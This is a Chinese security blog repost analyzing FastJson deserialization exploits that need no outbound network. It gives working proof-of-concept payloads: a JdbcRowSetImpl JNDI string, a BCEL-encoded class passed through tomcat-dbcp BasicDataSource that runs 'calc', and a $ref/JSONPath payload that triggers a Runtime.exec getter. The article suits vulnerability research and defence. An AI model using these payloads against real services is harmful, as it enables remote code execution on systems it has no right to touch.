浅析FastJson不出网利用方式
2022-12-24 12:59:29 Author: HACK安全(查看原文) 阅读量:16 收藏

本文转载至奇安信攻防社区:https://forum.butian.net/share/2040

实战中,有些环境是不出网的,就无法利用JNDI攻击,这里介绍下FastJson本地的利用方式。

0x01 出网利用

由于本文是对不出网利用进行的分析,这里出网的利用就是引子,不做详细分析。

JdbcRowSetImpl

在JdbcRowSetImpl中存在JNDI注入

这里考虑setAutoCommit

是个set方法

参数是布尔类型的

使用Yakit生成一个反连

构造EXP

首先类名是com.sun.rowset.JdbcRowSetImpl 也就是@type 的值

接着是.lookup的参数DataSourceName 也就是rmi或ldap的地址

最后是AutoCommit 布尔型的参数

public class FastJsonJdbcRowSetImpl {    public static void main(String[] args) throws Exception{
String s = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"DataSourceName\":\"ldap://127.0.0.1:8085/ZhALlpnN\",\"AutoCommit\":false}"; JSON.parseObject(s); }}

但是这种利用方式是需要出网的,并且有版本、依赖限制

下面来看一个可以本地利用的

0x02 不出网利用

BCEL

可以去看P牛的解释BCEL ClassLoader去哪了 | 离别歌 (leavesongs.com)

fastjson≤1.2.24

条件:BasicDataSource只需要有dbcptomcat-dbcp的依赖即可,dbcp即数据库连接池,在java中用于管理数据库连接,还是挺常见的。

ClassLoader 存在一处loadclass

protected Class loadClass(String class_name, boolean resolve)    throws ClassNotFoundException{    Class cl = null;
/* First try: lookup hash table. */ if((cl=(Class)classes.get(class_name)) == null) { /* Second try: Load system class using system class loader. You better * don't mess around with them. */ for(int i=0; i < ignored_packages.length; i++) { if(class_name.startsWith(ignored_packages[i])) { cl = deferTo.loadClass(class_name); break; } }
if(cl == null) { JavaClass clazz = null;
/* Third try: Special request? */ if(class_name.indexOf("$$BCEL$$") >= 0) clazz = createClass(class_name); else { // Fourth try: Load classes via repository if ((clazz = repository.loadClass(class_name)) != null) { clazz = modifyClass(clazz); } else throw new ClassNotFoundException(class_name); }
if(clazz != null) { byte[] bytes = clazz.getBytes(); cl = defineClass(class_name, bytes, 0, bytes.length); } else // Fourth try: Use default class loader cl = Class.forName(class_name); }
if(resolve) resolveClass(cl); }
classes.put(class_name, cl);
return cl; }

当类名是以$$BCEL$$ 开头,就会创建一个该类,并用definclass去调用

BCEL提供两个类,RepositoryUtility

Repository用于将一个Java Class先转换成原生字节码,当然这里也可以直接使用javac命令来编译java文件生成字节码

Utility用于将原生的字节码转换成BCEL格式的字节码

其中createClass 方法中

存入到字节数组中时会调用Utilitydecode方法,所以利用的时候要记得encode

package org.example;
import com.sun.org.apache.bcel.internal.Repository;import com.sun.org.apache.bcel.internal.classfile.JavaClass;import com.sun.org.apache.bcel.internal.classfile.Utility;import java.io.IOException;
/** * @Author kilo、冰室/ki10Moc * @date 2022/11/7 * @time 14:30 * @blog http://ki10.top **/public class FastJsonBcel { public static void main(String[] args) throws IOException, ClassNotFoundException, InstantiationException, IllegalAccessException { JavaClass javaClass = Repository.lookupClass(Evil.class); String encode = Utility.encode(javaClass.getBytes(), true); System.out.println(encode); Class.forName("$$BCEL$$" + encode, true, new ClassLoader()); // new ClassLoader().loadClass("$$BCEL$$" + encode).newInstance(); }}

那么下面就来看这里是怎么利用起来的

这次我们尝试以漏洞发现者的身份来看这条链子

首先是org.apache.tomcat.dbcp.dbcp2.BasicDataSource#createConnectionFactory()

protected ConnectionFactory createConnectionFactory() throws SQLException {        // Load the JDBC driver class        Driver driverToUse = this.driver;
if (driverToUse == null) { Class<?> driverFromCCL = null; if (driverClassName != null) { try { try { if (driverClassLoader == null) { driverFromCCL = Class.forName(driverClassName); } else { driverFromCCL = Class.forName(driverClassName, true, driverClassLoader); } } catch (final ClassNotFoundException cnfe) { driverFromCCL = Thread.currentThread().getContextClassLoader().loadClass(driverClassName); } } catch (final Exception t) { final String message = "Cannot load JDBC driver class '" + driverClassName + "'"; logWriter.println(message); t.printStackTrace(logWriter); throw new SQLException(message, t); } }
try { if (driverFromCCL == null) { driverToUse = DriverManager.getDriver(url); } else { // Usage of DriverManager is not possible, as it does not // respect the ContextClassLoader // N.B. This cast may cause ClassCastException which is handled below driverToUse = (Driver) driverFromCCL.getConstructor().newInstance(); if (!driverToUse.acceptsURL(url)) { throw new SQLException("No suitable driver", "08001"); } } } catch (final Exception t) { final String message = "Cannot create JDBC driver of class '" + (driverClassName != null ? driverClassName : "") + "' for connect URL '" + url + "'"; logWriter.println(message); t.printStackTrace(logWriter); throw new SQLException(message, t); } }
// Set up the driver connection factory we will use final String user = userName; if (user != null) { connectionProperties.put("user", user); } else { log("DBCP DataSource configured without a 'username'"); }
final String pwd = password; if (pwd != null) { connectionProperties.put("password", pwd); } else { log("DBCP DataSource configured without a 'password'"); }
final ConnectionFactory driverConnectionFactory = new DriverConnectionFactory(driverToUse, url, connectionProperties); return driverConnectionFactory; }

我们来看关键部分

if (driverClassLoader == null) {                            driverFromCCL = Class.forName(driverClassName);                        } else {                            driverFromCCL = Class.forName(driverClassName, true, driverClassLoader);                        }

若存在driverClassLoader 则会对类进行初始化

这里的driverClassNamedriverClassLoader 都是可控的

这里就可以考虑将driverClassLoader的参数写为com.sun.org.apache.bcel.internal.util.ClassLoader

接着在org.apache.tomcat.dbcp.dbcp2.BasicDataSource#createDataSource() 中调用了createConnectionFactory()

protected DataSource createDataSource() throws SQLException {        if (closed) {            throw new SQLException("Data source is closed");        }
// Return the pool if we have already created it // This is double-checked locking. This is safe since dataSource is // volatile and the code is targeted at Java 5 onwards. if (dataSource != null) { return dataSource; } synchronized (this) { if (dataSource != null) { return dataSource; }
jmxRegister();
// create factory which returns raw physical connections final ConnectionFactory driverConnectionFactory = createConnectionFactory();
// Set up the poolable connection factory boolean success = false; PoolableConnectionFactory poolableConnectionFactory; try { poolableConnectionFactory = createPoolableConnectionFactory(driverConnectionFactory); poolableConnectionFactory.setPoolStatements(poolPreparedStatements); poolableConnectionFactory.setMaxOpenPreparedStatements(maxOpenPreparedStatements); success = true; } catch (final SQLException se) { throw se; } catch (final RuntimeException rte) { throw rte; } catch (final Exception ex) { throw new SQLException("Error creating connection factory", ex); }
if (success) { // create a pool for our connections createConnectionPool(poolableConnectionFactory); }
// Create the pooling data source to manage connections DataSource newDataSource; success = false; try { newDataSource = createDataSourceInstance(); newDataSource.setLogWriter(logWriter); success = true; } catch (final SQLException se) { throw se; } catch (final RuntimeException rte) { throw rte; } catch (final Exception ex) { throw new SQLException("Error creating datasource", ex); } finally { if (!success) { closeConnectionPool(); } }
// If initialSize > 0, preload the pool try { for (int i = 0; i < initialSize; i++) { connectionPool.addObject(); } } catch (final Exception e) { closeConnectionPool(); throw new SQLException("Error preloading the connection pool", e); }
// If timeBetweenEvictionRunsMillis > 0, start the pool's evictor task startPoolMaintenance();
dataSource = newDataSource; return dataSource; } }

这里需要让

if (dataSource != null) {            return dataSource;        }        synchronized (this) {            if (dataSource != null) {                return dataSource;            }

均为false才能调用

之后

org.apache.tomcat.dbcp.dbcp2.BasicDataSource#getConnection() 调用

public Connection getConnection() throws SQLException {        if (Utils.IS_SECURITY_ENABLED) {            final PrivilegedExceptionAction<Connection> action = new PaGetConnection();            try {                return AccessController.doPrivileged(action);            } catch (final PrivilegedActionException e) {                final Throwable cause = e.getCause();                if (cause instanceof SQLException) {                    throw (SQLException) cause;                }                throw new SQLException(e);            }        }        return createDataSource().getConnection();    }

链子的整体流程

poc详解

poc(这里先贴上,后面在解释)

package org.example;
import com.alibaba.fastjson.JSON;
/** * @Author kilo、冰室/ki10Moc * @date 2022/11/7 * @time 14:30 * @blog http://ki10.top **/
public class FastJsonBcel { public static void main(String[] args){ String payload2 = "{\n" + " {\n" + " \"ki10\":{\n" + " \"@type\": \"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\n" + " \"driverClassLoader\": {\n" + " \"@type\": \"com.sun.org.apache.bcel.internal.util.ClassLoader\"\n" + " },\n" + " \"driverClassName\": \"$$BCEL$$$l$8b$I$A$A$A$A$A$A$AuQ$cbN$db$40$U$3d$938$b1c$9c$e6A$D$94$a6o$k$81E$zPw$m6$V$95$aa$baM$d5$m$ba$9eL$a7a$82cG$f6$84$a6_$c4$3a$hZ$b1$e8$H$f0Q$88$3b$sM$pAG$f2$7d$ce9$f7$dc$f1$d5$f5$e5$l$Ao$b0$e1$c2$c1$b2$8b$V$3cr$b0j$fcc$hM$X$F$3c$b1$f1$d4$c63$86$e2$be$8a$94$3e$60$c8$b7$b6$8e$Z$ac$b7$f17$c9P$JT$q$3f$8d$G$5d$99$i$f1nH$95z$Q$L$k$k$f3D$99$7cZ$b4$f4$89J$Z$9a$81$88$H$fep$87$ff$dc$fd$a1$o$ff$3bOu$3f$8d$p$ff$f0L$85$7b$M$ce$be$I$a7C$Y$81$gA$9f$9fq_$c5$fe$fb$f6$e1X$c8$a1VqD$d7$ca$j$cd$c5$e9G$3e$cc$c8I$t$83$db$89G$89$90$ef$94$ZV2t$af$N$d6C$J$ae$8d$e7$k$5e$e0$r$a9$ma$c2$c3$x$ac1$y$de$c3$eda$j$$$c3$ea$ffE2T3$5c$c8$a3$9e$df$ee$f6$a5$d0$M$b5$7f$a5$_$a3H$ab$Bip$7bR$cf$92Fk$x$b8s$87$W$b1$e4X$K$86$cd$d6$5c$b7$a3$T$V$f5$f6$e6$B$9f$93X$c84$r$40eHM$9d$ad$7f$94p$ni$z$9b$7e$9c990$b3$y$d9$F$ca$7c$f2$8c$7ca$fb$X$d8$qk$7bd$8b$b7E$94$c9z$d3$f8$B$w$e4$jTg$60$9e$91$B$f5$df$c8$d5$f3$X$b0$be$9e$c3$f9$b0$7d$81$e2$q$ab$97$I$5b$40$3ec$5c$a2$c8$a0K$844$af$5d$s$96$gE$7f$t$94aQ$5e$a7l$91$3e$h$b9$c0$c6C$8b$g$8dL$d4$d2$N_$9f$94$o$82$C$A$A\"\n" + " }\n" + " }: \"Moc\"\n" + "}"; JSON.parse(payload2); }}

需要注意的是

这里poc的嵌套

最后JSON.parse 触发key.toString()

整个poc都为JSONObjectvalueMoc

然后判断是否是JSON对象,再去识别keyvalue

调试过程中确实两次落在该断点

key = (key == null) ? "null" : key.toString();

而在执行toString() 时会将当前类转为字符串形式,会提取类中所有的Field,执行相应的 getter 、is等方法。因此也会执行getConnection方法

当然以上都是建立在parse() 方法之上

如果poc是parseObject() ,那就简单了,因为在处理过程中会调用所有的 setter 和 getter 方法。详细可以看FastJson反序列化基础

poc

package org.example;
import com.alibaba.fastjson.JSON;
/** * @Author kilo、冰室/ki10Moc * @date 2022/11/7 * @time 14:30 * @blog http://ki10.top **/
public class FastJsonBcel { public static void main(String[] args) {String s = "{\n" + " \"@type\": \"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\n" + " \"driverClassLoader\": {\n" + " \"@type\": \"com.sun.org.apache.bcel.internal.util.ClassLoader\"\n" + " },\n" + " \"driverClassName\": \"$$BCEL$$$l$8b$I$A$A$A$A$A$A$AuQ$cbN$db$40$U$3d$938$b1c$9c$e6A$D$94$a6o$k$81E$zPw$m6$V$95$aa$baM$d5$m$ba$9eL$a7a$82cG$f6$84$a6_$c4$3a$hZ$b1$e8$H$f0Q$88$3b$sM$pAG$f2$7d$ce9$f7$dc$f1$d5$f5$e5$l$Ao$b0$e1$c2$c1$b2$8b$V$3cr$b0j$fcc$hM$X$F$3c$b1$f1$d4$c63$86$e2$be$8a$94$3e$60$c8$b7$b6$8e$Z$ac$b7$f17$c9P$JT$q$3f$8d$G$5d$99$i$f1nH$95z$Q$L$k$k$f3D$99$7cZ$b4$f4$89J$Z$9a$81$88$H$fep$87$ff$dc$fd$a1$o$ff$3bOu$3f$8d$p$ff$f0L$85$7b$M$ce$be$I$a7C$Y$81$gA$9f$9fq_$c5$fe$fb$f6$e1X$c8$a1VqD$d7$ca$j$cd$c5$e9G$3e$cc$c8I$t$83$db$89G$89$90$ef$94$ZV2t$af$N$d6C$J$ae$8d$e7$k$5e$e0$r$a9$ma$c2$c3$x$ac1$y$de$c3$eda$j$$$c3$ea$ffE2T3$5c$c8$a3$9e$df$ee$f6$a5$d0$M$b5$7f$a5$_$a3H$ab$Bip$7bR$cf$92Fk$x$b8s$87$W$b1$e4X$K$86$cd$d6$5c$b7$a3$T$V$f5$f6$e6$B$9f$93X$c84$r$40eHM$9d$ad$7f$94p$ni$z$9b$7e$9c990$b3$y$d9$F$ca$7c$f2$8c$7ca$fb$X$d8$qk$7bd$8b$b7E$94$c9z$d3$f8$B$w$e4$jTg$60$9e$91$B$f5$df$c8$d5$f3$X$b0$be$9e$c3$f9$b0$7d$81$e2$q$ab$97$I$5b$40$3ec$5c$a2$c8$a0K$844$af$5d$s$96$gE$7f$t$94aQ$5e$a7l$91$3e$h$b9$c0$c6C$8b$g$8dL$d4$d2$N_$9f$94$o$82$C$A$A\"\n" + " }"; JSON.parseObject(s); }}

上面我们说了那么多,基本已经走完了流程,但还有个问题,这里的driverClassName 后面的值是什么,下面就来解释下上面贴出的poc中那一长串是什么

可能还要到com.sun.org.apache.bcel.internal.util.ClassLoader 去找答案

这里我们说,我们是通过loadClass下重写的方法来执行的,其中有个defiClass 显然是通过字节码来实现的。再回过头看createClass中的Utility.decode

这里我们还原一下内容

public class BCELDecode {    public static void main(String[] args) throws IOException {        String encode = "$l$8b$I$A$A$A$A$A$A$A...";        byte[] decode = Utility.decode(encode,true);        FileOutputStream fileOutputStream = new FileOutputStream("DecodeClass.class");        fileOutputStream.write(decode);    }}

得到DecodeClass.class

实际上就是静态方法里面执行弹计算器

//// Source code recreated from a .class file by IntelliJ IDEA// (powered by Fernflower decompiler)//
package com.p1ay2win.fastjson;
import java.io.IOException;
public class Evil { public Evil() { }
static { try { Runtime.getRuntime().exec("calc"); } catch (IOException var1) { var1.printStackTrace(); }
}}

0x03 JSON.parse如何调用get方法

$ref

这里要探究的就是,当只存在parseget方法时,还能否利用

JSONPath

添加依赖

       <dependency>            <groupId>com.alibaba</groupId>            <artifactId>fastjson</artifactId>            <version>1.2.36</version>        </dependency>

先写一个接受cmd参数的rceTest

package org.example;
import java.io.IOException;
/** * @Author kilo、冰室/ki10Moc * @date 2022/11/14 * @time 0:06 * @blog http://ki10.top **/public class Test { private String cmd;
public String getCmd() throws IOException { Runtime.getRuntime().exec(cmd); return cmd; }
public void setCmd(String cmd) { this.cmd = cmd; }}

执行函数

package org.example;
import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.ParserConfig;
/** * @Author kilo、冰室/ki10Moc * @date 2022/11/14 * @time 0:10 * @blog http://ki10.top **/public class TestCalc { public static void main(String[] args) { ParserConfig.getGlobalInstance().setAutoTypeSupport(true); String payload = "[{\"@type\":\"org.example.Test\",\"cmd\":\"calc\"},{\"$ref\":\"$[0].cmd\"}]"; Object o = JSON.parse(payload); }
}

首先就是我们要弄清该payload,就需要知道[{\"@type\":\"org.example.Test\",\"cmd\":\"calc\"},{\"$ref\":\"$[0].cmd\"}] ref的作用

Debug流程

打上断点来debug下

首先是handleResovleTask

这里是处理refvalue的地方

首先判断是否是$开头,然后获取对象,最后确定ref:$[0].cmd

$[0]表示的是数组里的第一个元素,则$[0].cmd表示的是获取第一个元素的cmd属性的值。

跟进到getObject()

获取数组,第0个位$ ,第1个为$[0] 并返回该对象

下面是JSONPath.eval()

继续跟进compile()

这里路径不为空,不会抛出异常

接着跟进eval下的init()

这里segments为空,继续往下走

在调用parser.explain() 方法前segments为空

这里segment值就变成了JSONPath

循环追加到StringBuilder后面

然后按顺序执行前面explain()生成的Segment array

最终在getPropertyValue()反射调用get()

至此,就完成了不使用JSON.parseObject也能调用get() 的方法


文章来源: http://mp.weixin.qq.com/s?__biz=Mzg2NjU0MjA0Ng==&mid=2247486895&idx=1&sn=8880e1f652f99dd3422bc2379e537849&chksm=ce48051ef93f8c083b562a865cf81dcf5cb36c674fdac1a0863504bde7501f79cd3501eae1fc#rd
如有侵权请联系:admin#unsafe.sh